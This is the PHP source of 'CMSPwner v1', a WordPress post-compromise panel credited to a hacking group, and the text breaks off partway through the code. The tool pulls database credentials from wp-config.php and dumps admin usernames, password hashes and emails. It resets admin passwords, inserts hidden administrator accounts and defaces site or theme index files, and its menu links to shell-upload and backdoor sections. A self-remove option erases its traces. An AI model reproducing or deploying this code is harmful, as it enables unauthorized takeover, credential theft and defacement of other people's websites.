<?php
#########
# Script Title: CMSPwner v1 Wordpress Version
# Version: 1.0 Beta
# Date: 02/08/12
# Script Author: Xt3mP
# Home: http://xt3mp.mx
# For: http://r00tw0rm.com
# Contact: xt3mp[at]null[dot]com
#  _____ _____ _____ _____                   
# |     |     |   __|  _  |_ _ _ ___ ___ ___ 
# |   --| | | |__   |   __| | | |   | -_|  _|
# |_____|_|_|_|_____|__|  |_____|_|_|___|_|  
#
#########
session_start();
$authUser = 'Xt3mP';
$authPass = '63a9f0ea7bb98050796b649e85481845';
function checkTable($dbName, $dbPref)
{
	$query = mysql_query('SHOW TABLES FROM '.$dbName) or die(mysql_error());
	$allowedTables = array($dbPref.'options', $dbPref.'users', $dbPref.'usersmeta');
	$counter = 0;
	while($table = mysql_fetch_array($query))
	{
		if(in_array($table[0], $allowedTables))
			$counter++;
	}
	if($counter != 2)
		return false;
	else
		return true;
}
function getInfo($pref, $optionName)
{
	$data = mysql_fetch_object(mysql_query('SELECT option_value FROM '.$pref.'options WHERE option_name="'.$optionName.'"'));
	return $data->option_value;
}
function getVersion($url)
{
	$source = file_get_contents($url);
	$data = preg_match("/<meta name=\"generator\" content=\"WordPress (.*)\" \/>/", $source, $version);
	return $version[1];
}
function getTotalAdmins($pref)
{
	$adms = @mysql_num_rows(@mysql_query('SELECT user_id FROM '.$pref.'usermeta WHERE meta_value=10'));
	return $adms;
}
function getAdmins($pref, $type = 'name')
{
	$adm = @mysql_query('SELECT user_id FROM '.$pref.'usermeta WHERE meta_value=10');
	while($admId = @mysql_fetch_object($adm))
	{
		if($type == 'name')
		{
			$admData = @mysql_fetch_object(@mysql_query('SELECT user_login, user_nicename FROM '.$pref.'users WHERE ID='.$admId->user_id));
			$option .= '<option value="'.$admId->user_id.'">'.$admData->user_login.'['.$admData->user_nicename.']</option>';
		}
		else
		{
			$class = ($number == '0') ? 'dark-green' : 'light-green';
			$admData = @mysql_fetch_object(@mysql_query('SELECT user_login, user_pass, user_email FROM '.$pref.'users WHERE ID='.$admId->user_id));
			$option .= '<tr class="'.$class.'"><td>'.$admData->user_login.'</td><td>'.$admData->user_pass.'</td><td>'.$admData->user_email.'</td></tr>';
			$number = ($number == '0') ? '1' : '0';
		}
	}
	if($type == 'name')
		return $option;
	else
		return '<table width="100%" align="center"><tr class="header"><td>User</td><td>Pass</td><td>Mail</td></tr>'.$option.'</table>';
}
function updateAdmin($pref, $admUser, $admPass)
{
	$newPass = md5($admPass);
	$update = @mysql_query('UPDATE '.$pref.'users SET user_pass="'.$newPass.'" WHERE ID='.$admUser);
	if(!$update)
		return false;
	else
		return true;
}
function getAdminById($pref, $admId)
{
	$admData = @mysql_fetch_object(@mysql_query('SELECT user_login FROM '.$pref.'users WHERE ID='.$admId));
	return $admData->user_login;
}
function checkUser($pref, $admUser)
{
	$adm = @mysql_num_rows(@mysql_query('SELECT user_login FROM '.$pref.'users WHERE user_login="'.$admUser.'"'));
	if($adm > 0)
		return false;
	else
		return true;
}
function addAdminUser($pref, $admUser, $admPass)
{
	$insert = @mysql_query('INSERT INTO '.$pref.'users (user_login, user_pass, user_nicename, user_email) values ("'.$admUser.'", "'.md5($admPass).'", "'.$admUser.'", "'.$admUser.'@'.$admUser.'.com")');
	if(!$insert)
	{
		return false;
	}
	else
		$id = @mysql_fetch_object(@mysql_query('SELECT ID FROM '.$pref.'users WHERE user_login="'.$admUser.'"'));
		$insert = mysql_query('INSERT INTO '.$pref.'usermeta (user_id, meta_key, meta_value) values ('.$id->ID.', "wp_capabilities", "a:1:{s:13:\"administrator\";s:1:\"1\";}")') or die(mysql_error());
		$insert = mysql_query('INSERT INTO '.$pref.'usermeta (user_id, meta_key, meta_value) values ('.$id->ID.', "wp_user_level", "10")') or die(mysql_error());
		return true;
}
function checkLogin($wpUrl, $wpUser, $wpPass)
{
	$fields = 'log='.$wpUser.'&pwd='.$wpPass.'&wp-submit=Acceder';
	$ch = curl_init();  
 	curl_setopt($ch, CURLOPT_USERAGENT, 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0a2) Gecko/20111014 Firefox/9.0a2');
	curl_setopt($ch, CURLOPT_AUTOREFERER, false);
	curl_setopt($ch, CURLOPT_REFERER, $wpUrl);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($ch, CURLOPT_HEADER, 1);
	curl_setopt($ch, CURLOPT_URL, $wpUrl.'/wp-login.php'); 
	curl_setopt($ch, CURLOPT_POST, true);  
	curl_setopt($ch, CURLOPT_POSTFIELDS, $fields); 
	curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
	$data = curl_exec($ch);
	curl_close($ch);
	if(strstr($data, '<strong>ERROR</strong>'))
		return false;
	else
		return true;
}
function sourceIndex($wpUrl, $theme)
{
	$ch = curl_init();  
	curl_setopt($ch, CURLOPT_URL, $wpUrl.'/wp-admin/theme-editor.php?file=index.php&theme='.$theme); 
	curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
 	curl_setopt($ch, CURLOPT_USERAGENT, 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0a2) Gecko/20111014 Firefox/9.0a2');
	curl_setopt($ch, CURLOPT_AUTOREFERER, false);
	curl_setopt($ch, CURLOPT_REFERER, $wpUrl.'/wp-admin/theme-editor.php?file=index.php&theme='.$theme);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
	curl_setopt($ch, CURLOPT_HEADER, 1);
	$data = curl_exec($ch);
	curl_close($ch);
	return $data;
}
function changeIndex($wpUrl, $wpCont, $theme, $wpnonce)
{
	$ch = curl_init();  
	$fields = '_wpnonce='.$wpnonce.'&newcontent='.urlencode($wpCont).'&action=update&file=index.php&theme='.$theme.'&scrollto=0&submit=Actualizar Archivo';
	curl_setopt($ch, CURLOPT_URL, $wpUrl.'/wp-admin/theme-editor.php?file=index.php&theme='.$theme); 
	curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
 	curl_setopt($ch, CURLOPT_USERAGENT, 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0a2) Gecko/20111014 Firefox/9.0a2');
	curl_setopt($ch, CURLOPT_AUTOREFERER, false);
	curl_setopt($ch, CURLOPT_REFERER, $wpUrl.'/wp-admin/theme-editor.php?file=index.php&theme='.$theme);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
	curl_setopt($ch, CURLOPT_HEADER, 1);
	curl_setopt($ch, CURLOPT_POST, true);  
	curl_setopt($ch, CURLOPT_POSTFIELDS, $fields); 
	$data = curl_exec($ch);
	curl_close($ch);
	return true;
}
function getThemes()
{
	$themes = scandir('./wp-content/themes/');
	foreach($themes as $theme)
	{
		if($theme != '.' && $theme != '..' && is_dir('./wp-content/themes/'.$theme))
		{
			$realThemes .= '<option value="'.$theme.'">'.$theme.'</option>';
		}
	}
	return $realThemes;
}
function getPlugins()
{
	$plugins = scandir('./wp-content/plugins/');
	foreach($plugins as $plugin)
	{
		if($plugin != '.' && $plugin != '..' && is_dir('./wp-content/plugins/'.$plugin))
		{
			$pluginData = pathinfo('./wp-content/plugins/'.$plugin);
			$pluginPath = $plugin;
			if(!is_dir('./wp-content/plugins/'.$plugin))
			{
				$pluginPath = '/';
				$plugin = $pluginData['filename'];
			}
			$realPlugins .= '<option value="'.$pluginPath.'">'.$plugin.'</option>';
		}
	}
	return $realPlugins.'<option value="/">/</option>';
}

function getInstalledPlugins($wpUrl, $plugins, $home = false)
{
	$data = preg_match("/a:(.*):{/", $plugins, $a);
	for($i = 0; $i < $a[1]; $i++)
	{
		$c = $a[1] - 1;
		if($i != $c)
		{
			$next = $i + 1;
			$pat = "/i:$i;s:[0-9]*:\"(.*)\";i:$next/";
		}else{
			if($a[1] == 1)
				$pat = "/{i:$i;s:[0-9]*:\"(.*)\";}/";
			else
				$pat = "/;i:$i;s:[0-9]*:\"(.*)\";/";
		}
		$datas = preg_match($pat, $plugins, $b);
		$pluginsc .= (!$home) ? '<a href="'.$wpUrl.'/wp-content/plugins/'.$b[1].'" target="_blank">'.$b[1].'</a><br />' : '<option value="'.$b[1].'">'.$b[1].'</option>';
	}
	return (!$home) ? substr($pluginsc, 0, strlen($pluginsc) - 6) : $pluginsc;
}
?>
<!DOCTYPE html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>CMSPwner v1 [WP Version]</title>
<style type="text/css">html,body,div,span,applet,object,iframe,h1,h2,h3,h  4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,bi  g,cite,code,del,dfn,em,img,ins,kbd,q,s,samp,small,  strike,strong,sub,sup,tt,var,b,u,i,center,dl,dt,dd  ,ol,ul,li,fieldset,form,label,legend,table,caption  ,tbody,tfoot,thead,tr,th,td,article,aside,canvas,d  etails,embed,figure,figcaption,footer,header,hgrou  p,menu,nav,output,ruby,section,summary,time,mark,a  udio,video{border:0;font:inherit;font-size:100%;margin:0;padding:0;vertical-align:baseline}article,aside,details,figcaption,fi  gure,footer,header,hgroup,menu,nav,section{display  :block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:bef  ore,blockquote:after,q:before,q:after{content:none  }table{border-collapse:collapse;border-spacing:0}</style>
<style type="text/css">body{background-color:#2b2b2b;color:#828282;font-family:"Courier New", Courier, monospace;font-size:13px;font-weight:700;line-height:1em}div#container{width:600px}div#container fieldset{background-color:#FBFBFB;border:1px dashed #000;padding:5px;text-align:justify}hr{background-color:#000;color:#000}div#container legend{background-color:#FFF;border:1px dashed #000;color:#000;padding:5px}fieldset#login .a{width:200px}div#container input,div#container select,div#container textarea{-moz-border-radius:3px;-webkit-border-radius:3px;background-color:#333;border:1px dashed #000;border-radius:3px;color:#FFF;font-family:"Courier New", Courier, monospace;font-weight:700;padding:5px;text-align:center;width:148px}div#container textarea{resize:none;width:83%}div#container input:hover,div#container input:focus{font-style:normal}div#container input[type=submit]:hover{background-color:#888;cursor:pointer;text-shadow:1px 1px 1px #999}div#container .error,div#container .success{background-color:#ff4040;border:1px dashed red;color:#FFF;float:left;margin-bottom:5px;padding:5px;width:100%!important}div#co  ntainer .success{background-color:#49A349;border:1px dashed #002E00}div#container .menu{border-bottom:1px dashed #000;float:left;font-size:14px;margin-bottom:5px;padding-bottom:5px;text-align:center;width:100%}.data{float:left;width:98%  }.menu ul li{float:left;height:10px;width:100px}.menu ul li ul{background-color:#FBFBFB;border:1px dashed #000;border-top:none;display:none;float:left;height:auto;margi  n-top:2px;position:relative;width:130px}.menu ul li:hover ul{display:block}.menu ul li ul li{background:#CCC;float:left;height:10px;padding:  5px 0 5px 2px;text-align:left;width:130px}.menu ul li.nonse{float:left;width:20px}div#sql_data,div#da  ta{border-top:1px dashed #000;margin-top:5px;padding-top:5px}div#sql_data label,div#data label{float:left;margin-right:5px;padding:8px 0;text-align:right;width:60px}div#container .clear{float:left;width:100%}div#sql_data input[type=text],div#data input[type=text],div#data select,div#data textarea{margin-right:5px}select{text-align:center}div#container a{color:#111;text-decoration:none}div#container a:hover{color:#191919;text-decoration:underline}div#data{border:none}div#info  {border-bottom:1px dashed #000;padding-bottom:5px}table,td,tr{padding:5px;text-align:center}.header{background-color:#000;color:#FFF}.light-green,.dark-green{background-color:#FCFCFC;color:#000}div#container input[type=submit],.dark-green{background-color:#666}div#sql_data input[type=submit],div#data input[type=submit],div#data select{width:160px}div#container .get_config{border-top:1px dashed #000;margin-top:5px;padding-top:5px;text-align:center}div#container .success a,div#container .success a:hover,.dark-green{color:#FFF}</style>
<script src="http://code.jquery.com/jquery-1.7.2.min.js"></script>
<script>$(function(){windowsHeight=$(window).height();wind  owsWidth=$(window).width();div=$('#container');div  Height=div.height();divWidth=div.width();up=window  sHeight/2.3-(divHeight/2);left=windowsWidth/2-(divWidth/2);$("#container").css("margin-top",up);$("#container").css("margin-left",left);function putValue(fieldId,newValue,defaultValue){if($("#"+fieldId).val()==defaultValue){$("#"+fieldId).val(newValue)}}$("#user").focusin(function(){putValue("user","","User")});$("#user").focusout(function(){putValue("user","User","")});$("#pass").focusin(function(){putValue("pass","","********")});$("#pass").focusout(function(){putValue("pass","********","")});$("#db_srvr").focusin(function(){putValue("db_srvr","","localhost")});$("#db_srvr").focusout(function(){putValue("db_srvr","localhost","")});$("#db_user").focusin(function(){putValue("db_user","","root")});$("#db_user").focusout(function(){putValue("db_user","root","")});$("#db_pass").focusin(function(){putValue("db_pass","","root")});$("#db_pass").focusout(function(){putValue("db_pass","root","")});$("#db_name").focusin(function(){putValue("db_name","","wp_db")});$("#db_name").focusout(function(){putValue("db_name","wp_db","")});$("#db_pref").focusin(function(){putValue("db_pref","","wp_")});$("#db_pref").focusout(function(){putValue("db_pref","wp_","")});$("#new_pass").focusin(function(){putValue("new_pass","","new_pass")});$("#new_pass").focusout(function(){putValue("new_pass","new_pass","")});$("#new_user").focusin(function(){putValue("new_user","","Admin2")});$("#new_user").focusout(function(){putValue("new_user","Admin2","")});$("#wp_url").focusin(function(){putValue("wp_url","","http://site.com/wp")});$("#wp_url").focusout(function(){putValue("wp_url","http://site.com/wp","")});$("#shell_name").focusin(function(){putValue("shell_name","","shell.php")});$("#shell_name").focusout(function(){putValue("shell_name","shell.php","")})});</script>
</head>
<body>
<div id="container">
	<div class="logo">
		<pre>
       _____ __  __  _____ _____                                  __ 
    X / ____|  \/  |/ ____|  __ \                                /_ |X
    t| |    | \  / | (___ | |__) |_      ___ __   ___ _ __  __   _| |t
    3| |    | |\/| |\___ \|  ___/\ \ /\ / / '_ \ / _ \ '__| \ \ / / |3
    m| |____| |  | |____) | |     \ V  V /| | | |  __/ |     \ V /| |m
    P \_____|_|  |_|_____/|_|      \_/\_/ |_| |_|\___|_| t00l \_/ |_|P                                                                  
		</pre>
	</div>
	<form action="" method="POST" enctype="multipart/form-data">
		<?php
		if(!$_SESSION['logged']):
		?>
			<fieldset id="login">
				<legend>CMSPwner v1 - Login</legend>
				<?php
				$showLogin = true;
				if(isset($_POST['login'])):
					$user = $_POST['user'];
					$pass = $_POST['pass'];
					if($user != $authUser or md5($pass) != $authPass):
						echo '<div class="error">Bad username or password</div>';
					else:
						$showLogin = false;
						$_SESSION['logged'] = true;
						$_SESSION['user'] = $user;
						echo '<div class="success">Welcome '.$user.'</div>';
						echo '<META HTTP-EQUIV="refresh" CONTENT="2; url=?">';
					endif;
				endif;
				if($showLogin):
				?>
					<input type="text" id="user" name="user" value="User" class="a"/>
					<input type="password" id="pass" name="pass" value="********" class="a"/>
					<input type="submit" name="login" value="Access" />
				<?php
				endif;
				?>
			</fieldset>
		<?php
		else:
		?>
			<fieldset>
				<?php
				if(!$_SESSION['sqlCredentials']):
				?>
					<legend>CMSPwner v1 - SQL Credentials</legend>
					This system requires SQL credentials to work correctly. Please make sure that your credentials are correct.<br />
					<?php
					$showForm = true;
					if($_GET['s3ct10n'] == 'getconfig'):
						if(isset($_POST['get_config'])):
							$configContent = @file_get_contents('./wp-config.php');
							if(!$configContent):
								echo '<div class="error">Can\'t open/found wp-config.php file</div>';
							else:
								$data = @preg_match("/define\('DB_HOST', '(.*)'\);/", $configContent, $host);
								$data = @preg_match("/define\('DB_USER', '(.*)'\);/", $configContent, $user);
								$data = @preg_match("/define\('DB_PASSWORD', '(.*)'\);/", $configContent, $pass);
								$data = @preg_match("/define\('DB_NAME', '(.*)'\);/", $configContent, $name);
								$data = @preg_match("/table_prefix  = '(.*)';/", $configContent, $pref);
								$_SESSION['dbSrvr'] = $host[1];
								$_SESSION['dbUser'] = $user[1];
								$_SESSION['dbPass'] = $pass[1];
								$_SESSION['dbName'] = $name[1];
								$_SESSION['dbPref'] = $pref[1];
								$showForm = false;
								echo '<div class="success">Configuration obtained correctly</div>';
								echo '<META HTTP-EQUIV="refresh" CONTENT="2; url=?">';
							endif;
						endif;
						if($showForm):
							$file = basename($_SERVER['PHP_SELF']);
					?>
							<div class="get_config" style="text-align:left;">You need put this file in same WP path:</div>
							<div id="sql_data">
								<div class="clear"><label>File:</label><input type="text" value="<?php echo $file; ?>" disabled="disabled" />< Script<br /></div>
								<div class="clear"><label></label><input type="submit" name="get_config" value="Get Config" /></div>
							</div>
					<?php
						endif;
					else:
						if(isset($_POST['sql'])):
							$dbSrvr = $_POST['db_srvr'];
							$dbUser = $_POST['db_user'];
							$dbPass = $_POST['db_pass'];
							$dbName = $_POST['db_name'];
							$dbPref = $_POST['db_pref'];
							$dbCon = @mysql_connect($dbSrvr, $dbUser, $dbPass);
							$dbSel = @mysql_select_db($dbName, $dbCon);
							if(!$dbCon):
								echo '<div class="error">Can\'t connect to the server: '.$dbUser.'@'.$dbSrvr.'</div>';
							elseif(!$dbSel):
								echo '<div class="error">Can\'t select DB: '.$dbName.'</div>';
							elseif(!checkTable($dbName, $dbPref)):
								echo '<div class="error">Can\'t detect WP tables with Preffix: '.$dbPref.'</div>';
							else:
								$_SESSION['dbSrvr'] = $dbSrvr;
								$_SESSION['dbUser'] = $dbUser;
								$_SESSION['dbPass'] = $dbPass;
								$_SESSION['dbName'] = $dbName;
								$_SESSION['dbPref'] = $dbPref;
								$_SESSION['sqlCredentials'] = true;
								$showForm = false;
								echo '<div class="success">SQL Credentials accepted correctly</div>';
								echo '<META HTTP-EQUIV="refresh" CONTENT="2; url=?">';
							endif;
						endif;
						if($showForm):
							$srvr = (empty($_SESSION['dbSrvr'])) ? 'localhost' : $_SESSION['dbSrvr'];
							$user = (empty($_SESSION['dbUser'])) ? 'root' : $_SESSION['dbUser'];
							$pass = (empty($_SESSION['dbPass'])) ? 'root' : $_SESSION['dbPass'];
							$name = (empty($_SESSION['dbName'])) ? 'wp_db' : $_SESSION['dbName'];
							$pref = (empty($_SESSION['dbPref'])) ? 'wp_': $_SESSION['dbPref'];
					?>
							<div class="get_config">[<a href="?s3ct10n=getconfig">Try to get config automatically</a>]</div>
							<div id="sql_data">
								<div class="clear"><label>Server:</label><input type="text" id="db_srvr" name="db_srvr" value="<?php echo $srvr; ?>" />< Insert SQL Server<br /></div>
								<div class="clear"><label>User:</label><input type="text" id="db_user" name="db_user" value="<?php echo $user; ?>" />< Insert SQL Username<br /></div>
								<div class="clear"><label>Pass:</label><input type="text" id="db_pass" name="db_pass" value="<?php echo $pass; ?>" />< Insert SQL Password<br /></div>
								<div class="clear"><label>Name:</label><input type="text" id="db_name" name="db_name" value="<?php echo $name; ?>" />< Insert SQL Database Name<br /></div>
								<div class="clear"><label>Prefix:</label><input type="text" id="db_pref" name="db_pref" value="<?php echo $pref; ?>" />< Insert Wordpress DB Preffix<br /></div>
								<div class="clear"><label></label><input type="submit" name="sql" value="Check SQL Data" />
							</div>
					<?php
						endif;
					endif;
					?>
				<?php
				else:
					$dbCon = @mysql_connect($_SESSION['dbSrvr'], $_SESSION['dbUser'], $_SESSION['dbPass']);
					@mysql_select_db($_SESSION['dbName'], $dbCon);
				?>
					<legend>CMSPwner v1 - System</legend>
					<div class="menu">
						<ul>
							<li>Menu
								<ul>
									<li><a href="?">Home</a></li>
									<li><a href="?s3ct10n=logout">Logout</a></li>
									<li><a href="?s3ct10n=selfremove">Self Remove</a></li>
									<li><a href="?s3ct10n=about">About</a></li>
								</ul>
							</li>
							<li>Admin
								<ul>
									<li><a href="?s3ct10n=1">Adm List</a></li>
									<li><a href="?s3ct10n=2">Reset Adm Pass</a></li>
									<li><a href="?s3ct10n=3">Add New Adm</a></li>
								</ul>
							</li>
							<li>Change Index
								<ul>
									<li><a href="?s3ct10n=4">Main [fopen]</a></li>
									<li><a href="?s3ct10n=5">Theme [cURL]</a></li>
									<li><a href="?s3ct10n=6">Theme [fopen]</a></li>
								</ul>
							</li>
							<li>Shell
								<ul>
									<li><a href="?s3ct10n=7">Upload</a></li>
									<li><a href="?s3ct10n=8">Make [themes]</a></li>
									<li><a href="?s3ct10n=9">Make [plugins]</a></li>
								</ul>
							</li>
							<li>Backdoor
								<ul>
									<li><a href="?s3ct10n=10">Active Theme</a></li>
									<li><a href="?s3ct10n=11">Active Plugin</a></li>
								</ul>
						</ul>
					</div>
					<div class="data">
						<?php
						$s3ct10n = $_GET['s3ct10n'];
						switch($s3ct10n):
							case '':
						?>
								WP Version: <?php echo getVersion(getInfo($_SESSION['dbPref'], 'siteurl')); ?><br />
								WP Url: <a href="#"><?php echo getInfo($_SESSION['dbPref'], 'siteurl'); ?></a><br />
								WP Mail: <?php echo getInfo($_SESSION['dbPref'], 'admin_email'); ?><br />
								WP Theme: <a target="_blank" href="<?php echo getInfo($_SESSION['dbPref'], 'siteurl'); ?>/wp-content/themes/<?php echo getInfo($_SESSION['dbPref'], 'template'); ?>"><?php echo getInfo($_SESSION['dbPref'], 'template'); ?></a><br />
								WP Active Plugins: <br /><?php echo getInstalledPlugins(getInfo($_SESSION['dbPref'], 'siteurl'), getInfo($_SESSION['dbPref'], 'active_plugins')); ?><br />
								WP Adm Users: <?php echo getTotalAdmins($_SESSION['dbPref']); ?><br />
								WP Blog Charset: <?php echo getInfo($_SESSION['dbPref'], 'blog_charset'); ?><br />
								WP DB Host: <?php echo $_SESSION['dbSrvr']; ?><br />
								WP DB User: <?php echo $_SESSION['dbUser']; ?><br />
								WP DB Pass: <?php echo $_SESSION['dbPass']; ?><br />
								WP DB Server: <?php echo $_SESSION['dbName']; ?><br />
								WP DB Preffix: <?php echo $_SESSION['dbPref']; ?>
							<?php
							break;
							case 'logout':
								$showForm = true;
								if(isset($_POST['no'])):
									echo '<META HTTP-EQUIV="refresh" CONTENT="0; url=?">';
								elseif(isset($_POST['yes'])):
									@session_destroy();
									echo '<META HTTP-EQUIV="refresh" CONTENT="0; url=?">';
								endif;
								if($showForm):
							?>
									<div id="info">Logout?</div>
									<div id="data">
										<div class="clear" style="text-align: center;"><input type="submit" value="No" name="no" /> - <input type="submit" value="Yes" name="yes" /></div>
									</div>
							<?php
								endif;
							break;
							case 'selfremove':
								$showForm = true;
								if(isset($_POST['no'])):
									echo '<META HTTP-EQUIV="refresh" CONTENT="0; url=?">';
								elseif(isset($_POST['yes'])):
									@session_destroy();
									@unlink(basename($_SERVER['PHP_SELF']));
									echo '<META HTTP-EQUIV="refresh" CONTENT="0; url=?">';
								endif;
								if($showForm):
							?>
									<div id="info">Self remove?</div>
									<div id="data">
										<div class="clear" style="text-align: center;"><input type="submit" value="No" name="no" /> - <input type="submit" value="Yes" name="yes" /></div>
									</div>
							<?php
								endif;
							break;
							case 'about':
							?>
								<div id="info">About</div>
								<div id="data">
								<pre style="text-align: center;">
                          
                          .--,-``-.                    ,-.----.    
 ,--,     ,--,   ___     /   /     '.            ____  \    /  \   
 |'. \   / .`| ,--.'|_  / ../        ;         ,'  , `.|   :    \  
 ; \ `\ /' / ; |  | :,' \ ``\  .`-    '     ,-+-,.' _ ||   |  .\ : 
 `. \  /  / .' :  : ' :  \___\/   \   :  ,-+-. ;   , ||.   :  |: | 
  \  \/  / ./.;__,'  /        \   :   | ,--.'|'   |  |||   |   \ : 
   \  \.'  / |  |   |         /  /   / |   |  ,', |  |,|   : .   / 
    \  ;  ;  :__,'| :         \  \   \ |   | /  | |--' ;   | |`-'  
   / \  \  \   '  : |__   ___ /   :   ||   : |  | ,    |   | ;     
  ;  /\  \  \  |  | '.'| /   /\   /   :|   : |  |/     :   ' |     
./__;  \  ;  \ ;  :    ;/ ,,/  ',-    .|   | |`-'      :   : :     
|   : / \  \  ;|  ,   / \ ''\        ; |   ;/          |   | :     
;   |/   \  ' | ---`-'   \   \     .'  '---'           `---'.|     
`---'     `--`            `--`-,,-'                      `---`    
</pre>
<pre>
+------------------------------------------------------------------------+
|                       Website: http://xt3mp.mx                         |
|                     Contact: xt3mp[at]null[dot]net                     |
+------------------------------------------------------------------------+
</pre>
								</div>
							<?php
							break;
							case 1:
							?>
								<div id="info">All Admin users appear below:</div>
								<div id="data"><?php echo getAdmins($_SESSION['dbPref'], 'list'); ?></div>
							<?php
							break;
							case 2:
								$showForm = true;
								if(isset($_POST['change_pass'])):
									$admUser = $_POST['adminId'];
									$admPass = $_POST['admin_pass'];
									if(!updateAdmin($_SESSION['dbPref'], $admUser, $admPass)):
										echo '<div class="error">Can\'t update admin password: Internal error</div>';
									else:
										$admUser = getAdminById($_SESSION['dbPref'], $admUser);
										$showForm = false;
										echo '<div class="success">Admin password updated correctly: '.$admUser.'::'.$admPass.'</div>';
										echo '<META HTTP-EQUIV="refresh" CONTENT="2; url=?">';
									endif;
								endif;
							?>
								<?php
								if($showForm):
								?>
									<div id="info">Select Admin User and Insert a New Password:</div>
									<div id="data">
										<div class="clear"><label>User:</label><select name="adminId"><?php echo getAdmins($_SESSION['dbPref']); ?></select>< Select Admin User<br /></div>
										<div class="clear"><label>Pass:</label><input type="text" id="new_pass" name="admin_pass" value="new_pass" />< Insert New Password<br /></div>
										<div class="clear"><label></label><input type="submit" name="change_pass" value="Change Admin Pass" /></div>
									</div>
								<?php
								endif;
								?>
							<?php
							break;
							case 3:
								$showForm = true;
								if(isset($_POST['add_admin'])):
									$admUser = $_POST['admin_user'];
									$admPass = $_POST['admin_pass'];
									if(!checkUser($_SESSION['dbPref'], $admUser)):
										echo '<div class="error">Can\'t add new Admin User: '.$admUser.' is in use</div>';
									elseif(!addAdminUser($_SESSION['dbPref'], $admUser, $admPass)):
										echo '<div class="error">Can\'t insert new Admin User: Internal error</div>';
									else:
										$showForm = false;
										echo '<div class="success">New Admin User inserted correctly: '.$admUser.'::'.$admPass.'</div>';
										echo '<META HTTP-EQUIV="refresh" CONTENT="2; url=?">';
									endif;
								endif;
							?>
								<?php
								if($showForm):
								?>
									<div id="info">Insert New Admin User:</div>
									<div id="data">
										<div class="clear"><label>User:</label><input type="text" id="new_user" name="admin_user" value="Admin2" />< Insert Admin User<br /></div>
										<div class="clear"><label>Pass:</label><input type="text" id="new_pass" name="admin_pass" value="new_pass" />< Insert New Password<br /></div>
										<div class="clear"><label></label><input type="submit" name="add_admin" value="Add New Admin" /></div>
									</div>
								<?php
								endif;
								?>
							<?php
							break;
							case 4:
								$showForm = true;
								$indexContent = @file_get_contents('./index.php');
								if(isset($_POST['change_index'])):
									$newContent = stripslashes($_POST['new_content']);
									$newIndex = @fopen('index.php', 'w+');
									if(!$newIndex):
										echo '<div class="error">Can\'t create new index file</div>';
									else:
										$showForm = false;
										@fwrite($newIndex, $newContent);
										@fclose($newIndex);
										echo '<div class="success">Index updated correctly</div>';
										echo '<META HTTP-EQUIV="refresh" CONTENT="2; url=?">';
									endif;
								endif;
								if($showForm):
								?>
									<div id="info">Insert New Index Content (WP Main Index) [fopen]:</div>
									<div id="data">
										<div class="clear"><label>Content:</label><textarea name="new_content" style="text-align: left;font-size:13px;font-family:'Courier New', Courier, monospace" rows="5"><?php echo $indexContent; ?></textarea><br /></div>
										<div class="clear"><label></label><input type="submit" name="change_index" value="Change Index" /></div>
									</div>
								<?php
								endif;
							?>
							<?php
							break;
							case 5:
								$showForm = true;
								$next = false;
								if(isset($_POST['change_index'])):
									$wpUrl = getInfo($_SESSION['dbPref'], 'siteurl');
									if(substr($wpUrl, -1) == '/')
										$wpUrl = substr($wpUrl, 0, strlen($wpUrl) - 1);
									$wpUser = $_POST['admin_user'];
									$wpPass = $_POST['admin_pass'];
									$wpCont = stripslashes($_POST['new_content']);
									if(!checkLogin($wpUrl, $wpUser, $wpPass)):
										echo '<div class="error">Can\'t login with: '.$wpUser.'::'.$wpPass.'</div>';
									else:
										$source = sourceIndex($wpUrl, getInfo($_SESSION['dbPref'], 'template'));
										$data = @preg_match("/<input type=\"hidden\" id=\"_wpnonce\" name=\"_wpnonce\" value=\"(.*)\" \/></", $source, $wpnonce);
										$next = true;
									endif;
									if($next === false):
									elseif($next === true && empty($wpnonce[1])):
										echo '<div class="error">Can\'t get wp nonce</div>';
									elseif(!changeIndex($wpUrl, $wpCont, getInfo($_SESSION['dbPref'], 'template'), $wpnonce[1])):
										echo '<div class="error">Can\'t update index file</div>';
									else:
										$showForm = false;
										echo '<div class="success">Index updated correctly</div>';
										echo '<META HTTP-EQUIV="refresh" CONTENT="2; url=?">';
									endif;
								endif;
								if($showForm):
							?>
									<div id="info" style="margin-bottom: 5px;">Actual Theme: <a target="_blank" href="<?php echo getInfo($_SESSION['dbPref'], 'siteurl'); ?>/wp-content/themes/<?php echo getInfo($_SESSION['dbPref'], 'template'); ?>"><?php echo getInfo($_SESSION['dbPref'], 'template'); ?></a><br /></div>
									<div id="info">Insert New Index Content (WP Actual Theme Index) [cURL]:</div>
									<div id="data">
										<div class="clear"><label>User:</label><input type="text" id="new_user" name="admin_user" value="Admin2" />< Insert Admin User<br /></div>
										<div class="clear"><label>Pass:</label><input type="text" id="new_pass" name="admin_pass" value="new_pass" />< Insert Admin Password<br /></div>
										<div class="clear"><label>Content:</label><textarea name="new_content" style="text-align: left;font-size:13px;font-family:'Courier New', Courier, monospace" rows="5"></textarea><br /></div>
										<div class="clear"><label></label><input type="submit" name="change_index" value="Change Index" /></div>
									</div>
								<?php
								endif;
								?>
							<?php
							break;
							case 6:
								$showForm = true;
								$theme = getInfo($_SESSION['dbPref'], 'template');
								if(isset($_POST['change_index'])):
									$wpCont = stripslashes($_POST['new_content']);
									$themeContent = @fopen('./wp-content/themes/'.$theme.'/index.php', 'w+');
									if(!$themeContent):
										echo '<div class="error">Can\'t open/found index.php file</div>';
									else:
